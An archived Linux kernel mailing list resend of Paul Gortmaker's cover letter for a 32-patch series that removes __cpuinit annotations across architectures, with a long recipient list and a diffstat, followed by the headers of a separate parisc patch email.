List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7190 gmane.linux.ports.ia64:23247 gmane.linux.ports.parisc:5168 gmane.linux.power-management.general:35422 gmane.linux.ports.sh.devel:24584 gmane.linux.ports.hexagon:609 gmane.linux.kernel:1514521 gmane.linux.kernel.cpufreq:11114 gmane.linux.drivers.sensors:32761 gmane.linux.acpi.devel:61693 gmane.linux.network:274233 gmane.linux.ports.sparc:17964 gmane.linux.ports.ppc64.devel:92145 gmane.linux.ports.arm.kernel:247969
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7190>

[Resending with only lists on Cc: -- previous mail header on the 00/32
 was too long; failed to get passed vger's crap filters.]

On 13-06-24 03:30 PM, Paul Gortmaker wrote:
> This is the whole patch queue for removal of __cpuinit support
> against the latest linux-next tree (Jun24th).  Some of you may
> have already seen chunks of it, or already read the logistics
> of what is being done (and why) here:
> 
>   https://lkml.org/lkml/2013/6/20/513
> 
> I won't repeat all that here again, other than to say this send
> is to ensure arch/subsystem maintainers get a 2nd chance to know
> what is going on and to look at what is being proposed for their
> area of code.  That, and to ensure one complete continuous copy
> of it gets mailed out.  You can also see the patch queue here:
> 
>   http://git.kernel.org/cgit/linux/kernel/git/paulg/cpuinit-delete.git
> 
> If you've noticed that a chunk for MIPS isn't present here, that
> is because it has already been queued in the linux-mips for-next
> branch.
> 
> Thanks,
> Paul.
> 
> ---
> Cc: Len Brown <lenb-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
> Cc: "Rafael J. Wysocki" <rjw-KKrjLPT3xs0@public.gmane.org>
> Cc: Richard Henderson <rth-hL46jP5Bxq7R7s880joybQ@public.gmane.org>
> Cc: Ivan Kokshaysky <ink-biIs/Y0ymYJMZLIVYojuPNP0rXTJTi09@public.gmane.org>
> Cc: Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Cc: Vineet Gupta <vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
> Cc: Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
> Cc: Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>
> Cc: Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>
> Cc: Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>
> Cc: Mike Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>
> Cc: Bob Liu <lliubbo-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Cc: Sonic Zhang <sonic.zhang-OyLXuOCK7orQT0dZR+AlfA@public.gmane.org>
> Cc: Jens Axboe <axboe-tSWWG44O7X1aa/9Udqfwiw@public.gmane.org>
> Cc: John Stultz <john.stultz-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
> Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
> Cc: "Rafael J. Wysocki" <rjw-KKrjLPT3xs0@public.gmane.org>
> Cc: Viresh Kumar <viresh.kumar-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
> Cc: Mikael Starvik <starvik-VrBV9hrLPhE@public.gmane.org>
> Cc: Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>
> Cc: Greg Kroah-Hartman <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
> Cc: David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> Cc: Richard Kuo <rkuo-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
> Cc: Fenghua Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
> Cc: Tony Luck <tony.luck-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
> Cc: Fenghua Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
> Cc: Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>
> Cc: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
> Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
> Cc: Rusty Russell <rusty-8n+1lVoiYb80n/F98K4Iww@public.gmane.org>
> Cc: "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>
> Cc: Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>
> Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
> Cc: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
> Cc: Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>
> Cc: Josh Boyer <jwboyer-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Cc: Matt Porter <mporter-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
> Cc: Kumar Gala <galak-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
> Cc: "Paul E. McKenney" <paulmck-23VcF4HTsmIX0ybBhKVfKdBPR1lH4CV8@public.gmane.org>
> Cc: Josh Triplett <josh-CC+yJ3UmIYqDUpFQwHEjaQ@public.gmane.org>
> Cc: Dipankar Sarma <dipankar-xthvdsQ13ZrQT0dZR+AlfA@public.gmane.org>
> Cc: Martin Schwidefsky <schwidefsky-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>
> Cc: Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>
> Cc: Chen Liqin <liqin.chen-+XGAvkf1AAHby3iVrkZq2A@public.gmane.org>
> Cc: Lennox Wu <lennox.wu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Cc: Paul Mundt <lethal-M7jkjyW5wf5g9hUCZPvPmw@public.gmane.org>
> Cc: "David S. Miller" <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>
> Cc: Chris Metcalf <cmetcalf-kv+TWInifGbQT0dZR+AlfA@public.gmane.org>
> Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
> Cc: Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> Cc: "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
> Cc: Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>
> Cc: Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Cc: linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
> Cc: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
> Cc: cpufreq-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-cris-kernel-VrBV9hrLPhE@public.gmane.org
> Cc: linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: lm-sensors-GZX6beZjE8VD60Wz+7aTrA@public.gmane.org
> Cc: linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org
> Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org
> Cc: netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-ZwoEplunGu2h2975yA52AaxOck334EZe@public.gmane.org
> Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
> Cc: linux390-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org
> Cc: linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org
> Cc: linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org
> 
> Paul Gortmaker (32):
>   init.h: remove __cpuinit sections from the kernel
>   modpost: remove all traces of cpuinit/cpuexit sections
>   alpha: delete __cpuinit usage from all users
>   powerpc: delete __cpuinit usage from all users
>   parisc: delete __cpuinit usage from all users
>   ia64: delete __cpuinit usage from all ia64 users
>   arm: delete __cpuinit/__CPUINIT usage from all ARM users
>   sparc: delete __cpuinit/__CPUINIT usage from all users
>   arm64: delete __cpuinit usage from all users
>   arc: delete __cpuinit usage from all arc files
>   blackfin: delete __cpuinit usage from all blackfin files
>   s390: delete __cpuinit usage from all s390 files
>   sh: delete __cpuinit usage from all sh files
>   tile: delete __cpuinit usage from all tile files
>   metag: delete __cpuinit usage from all metag files
>   cris: delete __cpuinit usage from all cris files
>   frv: delete __cpuinit usage from all frv files
>   hexagon: delete __cpuinit usage from all hexagon files
>   m32r: delete __cpuinit usage from all m32r files
>   openrisc: delete __cpuinit usage from all openrisc files
>   xtensa: delete __cpuinit usage from all xtensa files
>   score: delete __cpuinit usage from all score files
>   x86: delete __cpuinit usage from all x86 files
>   clocksource+irqchip: delete __cpuinit usage from all related files
>   cpufreq: delete __cpuinit usage from all cpufreq files
>   hwmon: delete __cpuinit usage from all hwmon files
>   acpi: delete __cpuinit usage from all acpi files
>   net: delete __cpuinit usage from all net files
>   rcu: delete __cpuinit usage from all rcu files
>   kernel: delete __cpuinit usage from all core kernel files
>   drivers: delete __cpuinit usage from all remaining drivers files
>   block: delete __cpuinit usage from all block files
> 
>  Documentation/cpu-hotplug.txt                 |  6 +--
>  arch/alpha/kernel/smp.c                       | 10 ++---
>  arch/alpha/kernel/traps.c                     |  4 +-
>  arch/arc/include/asm/irq.h                    |  2 +-
>  arch/arc/kernel/irq.c                         |  2 +-
>  arch/arc/kernel/setup.c                       | 10 ++---
>  arch/arc/kernel/smp.c                         |  4 +-
>  arch/arc/kernel/time.c                        |  6 +--
>  arch/arc/mm/cache_arc700.c                    |  4 +-
>  arch/arc/mm/tlb.c                             |  4 +-
>  arch/arm/common/mcpm_platsmp.c                |  4 +-
>  arch/arm/include/asm/arch_timer.h             |  2 +-
>  arch/arm/kernel/head-common.S                 |  1 -
>  arch/arm/kernel/head.S                        |  1 -
>  arch/arm/kernel/hw_breakpoint.c               |  4 +-
>  arch/arm/kernel/perf_event_cpu.c              |  6 +--
>  arch/arm/kernel/psci_smp.c                    |  3 +-
>  arch/arm/kernel/smp.c                         | 18 ++++----
>  arch/arm/kernel/smp_twd.c                     |  6 +--
>  arch/arm/lib/delay.c                          |  2 +-
>  arch/arm/mach-exynos/headsmp.S                |  2 -
>  arch/arm/mach-exynos/platsmp.c                |  4 +-
>  arch/arm/mach-highbank/platsmp.c              |  2 +-
>  arch/arm/mach-imx/platsmp.c                   |  2 +-
>  arch/arm/mach-msm/headsmp.S                   |  2 -
>  arch/arm/mach-msm/platsmp.c                   |  6 +--
>  arch/arm/mach-msm/timer.c                     |  4 +-
>  arch/arm/mach-mvebu/coherency.c               |  2 +-
>  arch/arm/mach-mvebu/headsmp.S                 |  2 -
>  arch/arm/mach-mvebu/platsmp.c                 |  5 +--
>  arch/arm/mach-omap2/omap-headsmp.S            |  2 -
>  arch/arm/mach-omap2/omap-mpuss-lowpower.c     |  2 +-
>  arch/arm/mach-omap2/omap-smp.c                |  4 +-
>  arch/arm/mach-omap2/omap-wakeupgen.c          |  4 +-
>  arch/arm/mach-prima2/headsmp.S                |  2 -
>  arch/arm/mach-prima2/platsmp.c                |  4 +-
>  arch/arm/mach-shmobile/headsmp-scu.S          |  1 -
>  arch/arm/mach-shmobile/headsmp.S              |  2 -
>  arch/arm/mach-shmobile/smp-emev2.c            |  2 +-
>  arch/arm/mach-shmobile/smp-r8a7779.c          |  2 +-
>  arch/arm/mach-shmobile/smp-sh73a0.c           |  2 +-
>  arch/arm/mach-socfpga/headsmp.S               |  1 -
>  arch/arm/mach-socfpga/platsmp.c               |  2 +-
>  arch/arm/mach-spear/generic.h                 |  2 +-
>  arch/arm/mach-spear/platsmp.c                 |  4 +-
>  arch/arm/mach-tegra/platsmp.c                 |  4 +-
>  arch/arm/mach-tegra/pm.c                      |  2 +-
>  arch/arm/mach-ux500/platsmp.c                 |  4 +-
>  arch/arm/mach-zynq/common.h                   |  2 +-
>  arch/arm/mach-zynq/headsmp.S                  |  2 -
>  arch/arm/mach-zynq/platsmp.c                  |  6 +--
>  arch/arm/mm/proc-arm1020.S                    |  2 -
>  arch/arm/mm/proc-arm1020e.S                   |  2 -
>  arch/arm/mm/proc-arm1022.S                    |  2 -
>  arch/arm/mm/proc-arm1026.S                    |  3 --
>  arch/arm/mm/proc-arm720.S                     |  2 -
>  arch/arm/mm/proc-arm740.S                     |  2 -
>  arch/arm/mm/proc-arm7tdmi.S                   |  2 -
>  arch/arm/mm/proc-arm920.S                     |  2 -
>  arch/arm/mm/proc-arm922.S                     |  2 -
>  arch/arm/mm/proc-arm925.S                     |  2 -
>  arch/arm/mm/proc-arm926.S                     |  2 -
>  arch/arm/mm/proc-arm940.S                     |  2 -
>  arch/arm/mm/proc-arm946.S                     |  2 -
>  arch/arm/mm/proc-arm9tdmi.S                   |  2 -
>  arch/arm/mm/proc-fa526.S                      |  2 -
>  arch/arm/mm/proc-feroceon.S                   |  2 -
>  arch/arm/mm/proc-mohawk.S                     |  2 -
>  arch/arm/mm/proc-sa110.S                      |  2 -
>  arch/arm/mm/proc-sa1100.S                     |  2 -
>  arch/arm/mm/proc-v6.S                         |  2 -
>  arch/arm/mm/proc-v7-2level.S                  |  4 --
>  arch/arm/mm/proc-v7-3level.S                  |  4 --
>  arch/arm/mm/proc-v7.S                         |  2 -
>  arch/arm/mm/proc-xsc3.S                       |  2 -
>  arch/arm/mm/proc-xscale.S                     |  2 -
>  arch/arm/plat-versatile/platsmp.c             |  6 +--
>  arch/arm64/include/asm/arch_timer.h           |  2 +-
>  arch/arm64/kernel/debug-monitors.c            |  6 +--
>  arch/arm64/kernel/hw_breakpoint.c             |  4 +-
>  arch/arm64/kernel/smp.c                       |  8 ++--
>  arch/blackfin/kernel/perf_event.c             |  2 +-
>  arch/blackfin/kernel/setup.c                  |  4 +-
>  arch/blackfin/mach-bf561/smp.c                |  6 +--
>  arch/blackfin/mach-common/cache-c.c           |  4 +-
>  arch/blackfin/mach-common/ints-priority.c     |  2 +-
>  arch/blackfin/mach-common/smp.c               |  8 ++--
>  arch/cris/arch-v32/kernel/smp.c               |  2 +-
>  arch/frv/kernel/setup.c                       |  2 +-
>  arch/hexagon/kernel/setup.c                   |  2 +-
>  arch/hexagon/kernel/smp.c                     |  4 +-
>  arch/ia64/kernel/acpi.c                       |  4 +-
>  arch/ia64/kernel/err_inject.c                 |  8 ++--
>  arch/ia64/kernel/mca.c                        | 12 ++---
>  arch/ia64/kernel/numa.c                       |  4 +-
>  arch/ia64/kernel/palinfo.c                    |  4 +-
>  arch/ia64/kernel/salinfo.c                    |  4 +-
>  arch/ia64/kernel/setup.c                      | 10 ++---
>  arch/ia64/kernel/smpboot.c                    |  8 ++--
>  arch/ia64/kernel/topology.c                   | 18 ++++----
>  arch/ia64/mm/contig.c                         |  3 +-
>  arch/ia64/mm/discontig.c                      |  2 +-
>  arch/ia64/mm/numa.c                           |  2 +-
>  arch/ia64/sn/kernel/setup.c                   |  8 ++--
>  arch/ia64/xen/hypervisor.c                    |  2 +-
>  arch/m32r/kernel/smpboot.c                    |  2 +-
>  arch/metag/kernel/perf/perf_event.c           |  6 +--
>  arch/metag/kernel/smp.c                       | 16 +++----
>  arch/metag/kernel/traps.c                     |  2 +-
>  arch/openrisc/kernel/setup.c                  |  2 +-
>  arch/parisc/kernel/firmware.c                 | 14 +++---
>  arch/parisc/kernel/hardware.c                 |  2 +-
>  arch/parisc/kernel/processor.c                |  6 +--
>  arch/parisc/kernel/smp.c                      |  8 ++--
>  arch/powerpc/include/asm/rtas.h               |  4 +-
>  arch/powerpc/include/asm/vdso.h               |  2 +-
>  arch/powerpc/kernel/cacheinfo.c               | 36 ++++++++-------
>  arch/powerpc/kernel/rtas.c                    |  4 +-
>  arch/powerpc/kernel/smp.c                     |  4 +-
>  arch/powerpc/kernel/sysfs.c                   |  6 +--
>  arch/powerpc/kernel/time.c                    |  1 -
>  arch/powerpc/kernel/vdso.c                    |  2 +-
>  arch/powerpc/mm/44x_mmu.c                     |  6 +--
>  arch/powerpc/mm/hash_utils_64.c               |  2 +-
>  arch/powerpc/mm/mmu_context_nohash.c          |  6 +--
>  arch/powerpc/mm/numa.c                        |  7 ++-
>  arch/powerpc/mm/tlb_nohash.c                  |  2 +-
>  arch/powerpc/perf/core-book3s.c               |  4 +-
>  arch/powerpc/platforms/44x/currituck.c        |  4 +-
>  arch/powerpc/platforms/44x/iss4xx.c           |  4 +-
>  arch/powerpc/platforms/85xx/smp.c             |  6 +--
>  arch/powerpc/platforms/powermac/smp.c         |  2 +-
>  arch/powerpc/platforms/powernv/smp.c          |  2 +-
>  arch/s390/kernel/cache.c                      | 15 +++----
>  arch/s390/kernel/perf_cpum_cf.c               |  4 +-
>  arch/s390/kernel/processor.c                  |  2 +-
>  arch/s390/kernel/smp.c                        | 17 ++++---
>  arch/s390/kernel/sysinfo.c                    |  2 +-
>  arch/s390/kernel/vtime.c                      |  6 +--
>  arch/s390/mm/fault.c                          |  4 +-
>  arch/score/mm/tlb-score.c                     |  2 +-
>  arch/sh/kernel/cpu/init.c                     | 18 ++++----
>  arch/sh/kernel/cpu/sh2/probe.c                |  2 +-
>  arch/sh/kernel/cpu/sh2a/probe.c               |  2 +-
>  arch/sh/kernel/cpu/sh3/probe.c                |  2 +-
>  arch/sh/kernel/cpu/sh4/probe.c                |  2 +-
>  arch/sh/kernel/cpu/sh4a/smp-shx3.c            |  6 +--
>  arch/sh/kernel/cpu/sh5/probe.c                |  2 +-
>  arch/sh/kernel/perf_event.c                   |  4 +-
>  arch/sh/kernel/process.c                      |  2 +-
>  arch/sh/kernel/setup.c                        |  2 +-
>  arch/sh/kernel/smp.c                          |  8 ++--
>  arch/sh/kernel/traps_32.c                     |  2 +-
>  arch/sh/kernel/traps_64.c                     |  2 +-
>  arch/sh/mm/tlb-sh5.c                          |  2 +-
>  arch/sparc/kernel/ds.c                        | 11 ++---
>  arch/sparc/kernel/entry.h                     |  2 +-
>  arch/sparc/kernel/hvtramp.S                   |  1 -
>  arch/sparc/kernel/irq_64.c                    |  5 ++-
>  arch/sparc/kernel/leon_smp.c                  | 10 ++---
>  arch/sparc/kernel/mdesc.c                     | 34 +++++++-------
>  arch/sparc/kernel/smp_32.c                    | 20 ++++-----
>  arch/sparc/kernel/smp_64.c                    |  9 ++--
>  arch/sparc/kernel/sun4d_smp.c                 |  6 +--
>  arch/sparc/kernel/sun4m_smp.c                 |  6 +--
>  arch/sparc/kernel/sysfs.c                     |  4 +-
>  arch/sparc/kernel/trampoline_32.S             |  3 --
>  arch/sparc/kernel/trampoline_64.S             |  2 -
>  arch/sparc/mm/init_64.c                       |  2 +-
>  arch/sparc/mm/srmmu.c                         | 12 ++---
>  arch/tile/kernel/irq.c                        |  2 +-
>  arch/tile/kernel/messaging.c                  |  2 +-
>  arch/tile/kernel/setup.c                      | 12 ++---
>  arch/tile/kernel/smpboot.c                    |  8 ++--
>  arch/tile/kernel/time.c                       |  2 +-
>  arch/x86/include/asm/cpu.h                    |  2 +-
>  arch/x86/include/asm/microcode.h              |  4 +-
>  arch/x86/include/asm/microcode_intel.h        |  4 +-
>  arch/x86/include/asm/mmconfig.h               |  4 +-
>  arch/x86/include/asm/mpspec.h                 |  2 +-
>  arch/x86/include/asm/numa.h                   |  6 +--
>  arch/x86/include/asm/prom.h                   |  2 +-
>  arch/x86/include/asm/smp.h                    |  2 +-
>  arch/x86/kernel/acpi/boot.c                   |  6 +--
>  arch/x86/kernel/apic/apic.c                   | 30 ++++++-------
>  arch/x86/kernel/apic/apic_numachip.c          |  2 +-
>  arch/x86/kernel/apic/es7000_32.c              |  2 +-
>  arch/x86/kernel/apic/numaq_32.c               |  2 +-
>  arch/x86/kernel/apic/x2apic_cluster.c         |  2 +-
>  arch/x86/kernel/apic/x2apic_uv_x.c            | 14 +++---
>  arch/x86/kernel/cpu/amd.c                     | 33 +++++++-------
>  arch/x86/kernel/cpu/centaur.c                 | 26 +++++------
>  arch/x86/kernel/cpu/common.c                  | 64 +++++++++++++--------------
>  arch/x86/kernel/cpu/cyrix.c                   | 40 ++++++++---------
>  arch/x86/kernel/cpu/hypervisor.c              |  2 +-
>  arch/x86/kernel/cpu/intel.c                   | 30 ++++++-------
>  arch/x86/kernel/cpu/intel_cacheinfo.c         | 55 +++++++++++------------
>  arch/x86/kernel/cpu/mcheck/mce.c              | 23 +++++-----
>  arch/x86/kernel/cpu/mcheck/mce_amd.c          | 14 +++---
>  arch/x86/kernel/cpu/mcheck/therm_throt.c      |  9 ++--
>  arch/x86/kernel/cpu/perf_event.c              |  2 +-
>  arch/x86/kernel/cpu/perf_event_amd_ibs.c      |  2 +-
>  arch/x86/kernel/cpu/perf_event_amd_uncore.c   | 31 +++++++------
>  arch/x86/kernel/cpu/perf_event_intel_uncore.c | 20 ++++-----
>  arch/x86/kernel/cpu/rdrand.c                  |  2 +-
>  arch/x86/kernel/cpu/scattered.c               |  4 +-
>  arch/x86/kernel/cpu/topology.c                |  2 +-
>  arch/x86/kernel/cpu/transmeta.c               |  6 +--
>  arch/x86/kernel/cpu/umc.c                     |  2 +-
>  arch/x86/kernel/cpu/vmware.c                  |  2 +-
>  arch/x86/kernel/cpuid.c                       |  7 ++-
>  arch/x86/kernel/devicetree.c                  |  2 +-
>  arch/x86/kernel/head_32.S                     |  1 -
>  arch/x86/kernel/i387.c                        |  8 ++--
>  arch/x86/kernel/irq_32.c                      |  2 +-
>  arch/x86/kernel/kvm.c                         | 10 ++---
>  arch/x86/kernel/kvmclock.c                    |  2 +-
>  arch/x86/kernel/microcode_core.c              |  2 +-
>  arch/x86/kernel/microcode_core_early.c        |  6 +--
>  arch/x86/kernel/microcode_intel_early.c       | 26 +++++------
>  arch/x86/kernel/mmconf-fam10h_64.c            | 12 ++---
>  arch/x86/kernel/msr.c                         |  6 +--
>  arch/x86/kernel/process.c                     |  2 +-
>  arch/x86/kernel/setup.c                       |  2 +-
>  arch/x86/kernel/smpboot.c                     | 28 ++++++------
>  arch/x86/kernel/tboot.c                       |  6 +--
>  arch/x86/kernel/tsc.c                         |  4 +-
>  arch/x86/kernel/tsc_sync.c                    | 18 ++++----
>  arch/x86/kernel/vsyscall_64.c                 |  6 +--
>  arch/x86/kernel/x86_init.c                    |  4 +-
>  arch/x86/kernel/xsave.c                       |  4 +-
>  arch/x86/mm/mmio-mod.c                        |  4 +-
>  arch/x86/mm/numa.c                            | 12 ++---
>  arch/x86/mm/numa_emulation.c                  | 12 ++---
>  arch/x86/mm/setup_nx.c                        |  4 +-
>  arch/x86/pci/amd_bus.c                        |  8 ++--
>  arch/x86/platform/ce4100/ce4100.c             |  2 +-
>  arch/x86/platform/mrst/mrst.c                 |  4 +-
>  arch/x86/xen/enlighten.c                      |  6 +--
>  arch/x86/xen/setup.c                          |  6 +--
>  arch/x86/xen/smp.c                            | 12 ++---
>  arch/x86/xen/spinlock.c                       |  2 +-
>  arch/x86/xen/xen-ops.h                        |  2 +-
>  arch/xtensa/kernel/time.c                     |  2 +-
>  block/blk-iopoll.c                            |  6 +--
>  block/blk-softirq.c                           |  6 +--
>  drivers/acpi/acpi_processor.c                 |  2 +-
>  drivers/acpi/processor_core.c                 |  8 ++--
>  drivers/acpi/processor_driver.c               |  8 ++--
>  drivers/acpi/processor_idle.c                 |  6 +--
>  drivers/base/cpu.c                            |  2 +-
>  drivers/base/topology.c                       | 10 ++---
>  drivers/clocksource/arm_arch_timer.c          |  8 ++--
>  drivers/clocksource/exynos_mct.c              |  4 +-
>  drivers/clocksource/metag_generic.c           |  6 +--
>  drivers/clocksource/time-armada-370-xp.c      |  4 +-
>  drivers/clocksource/timer-marco.c             |  4 +-
>  drivers/cpufreq/cpufreq.c                     |  4 +-
>  drivers/cpufreq/cpufreq_stats.c               |  4 +-
>  drivers/cpufreq/dbx500-cpufreq.c              |  2 +-
>  drivers/cpufreq/intel_pstate.c                |  4 +-
>  drivers/cpufreq/longhaul.c                    |  6 +--
>  drivers/cpufreq/longhaul.h                    | 26 +++++------
>  drivers/cpufreq/longrun.c                     |  8 ++--
>  drivers/cpufreq/omap-cpufreq.c                |  2 +-
>  drivers/cpufreq/powernow-k7.c                 |  8 ++--
>  drivers/cpufreq/powernow-k8.c                 |  6 +--
>  drivers/hwmon/coretemp.c                      | 39 ++++++++--------
>  drivers/hwmon/via-cputemp.c                   |  8 ++--
>  drivers/irqchip/irq-gic.c                     |  8 ++--
>  drivers/oprofile/timer_int.c                  |  4 +-
>  drivers/xen/xen-acpi-cpuhotplug.c             |  2 +-
>  include/asm-generic/vmlinux.lds.h             | 12 -----
>  include/linux/cpu.h                           |  2 +-
>  include/linux/init.h                          | 19 ++++----
>  include/linux/perf_event.h                    |  2 +-
>  init/calibrate.c                              | 13 +++---
>  kernel/cpu.c                                  |  6 +--
>  kernel/events/core.c                          |  4 +-
>  kernel/fork.c                                 |  2 +-
>  kernel/hrtimer.c                              |  6 +--
>  kernel/printk.c                               |  2 +-
>  kernel/profile.c                              |  2 +-
>  kernel/rcutorture.c                           |  6 +--
>  kernel/rcutree.c                              |  6 +--
>  kernel/rcutree.h                              |  4 +-
>  kernel/rcutree_plugin.h                       |  6 +--
>  kernel/relay.c                                |  2 +-
>  kernel/sched/core.c                           | 12 ++---
>  kernel/sched/fair.c                           |  2 +-
>  kernel/smp.c                                  |  2 +-
>  kernel/smpboot.c                              |  2 +-
>  kernel/softirq.c                              |  8 ++--
>  kernel/time/tick-sched.c                      |  2 +-
>  kernel/timer.c                                | 10 ++---
>  kernel/workqueue.c                            |  4 +-
>  lib/Kconfig.debug                             |  2 +-
>  lib/earlycpio.c                               |  2 +-
>  lib/percpu_counter.c                          |  2 +-
>  mm/memcontrol.c                               |  2 +-
>  mm/page-writeback.c                           |  4 +-
>  mm/slab.c                                     | 10 ++---
>  mm/slub.c                                     |  4 +-
>  mm/vmstat.c                                   |  6 +--
>  net/core/flow.c                               |  4 +-
>  net/iucv/iucv.c                               |  2 +-
>  scripts/mod/modpost.c                         | 52 ++++------------------
>  307 files changed, 896 insertions(+), 1037 deletions(-)
> 

From - Thu Nov 08 21:09:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Ensure volatile space register %sr1 is not clobbered
Date: Tue, 25 Jun 2013 19:10:04 -0400
Lines: 74
Approved: news@gmane.org
Message-ID: <BLU0-SMTP2112E5305CF38E7EA12B08978B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-19-905097367"
X-Trace: ger.gmane.org 1372201817 29406 80.91.229.3 (25 Jun 2013 23:10:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Jun 2013 23:10:17 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 26 01:10:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UrcNN-000487-9Z
	for glpp-linux-parisc@plane.gmane.org; Wed, 26 Jun 2013 01:10:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751971Ab3FYXKQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Jun 2013 19:10:16 -0400
Original-Received: from blu0-omc4-s24.blu0.hotmail.com ([65.55.111.163]:27460 "EHLO
	blu0-omc4-s24.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751774Ab3FYXKP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Jun 2013 19:10:15 -0400
Original-Received: from BLU0-SMTP21 ([65.55.111.137]) by blu0-omc4-s24.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 25 Jun 2013 16:10:14 -0700
X-EIP: [54WA1e69LK5WpaDne8vKfCpHy1XpTjCE]
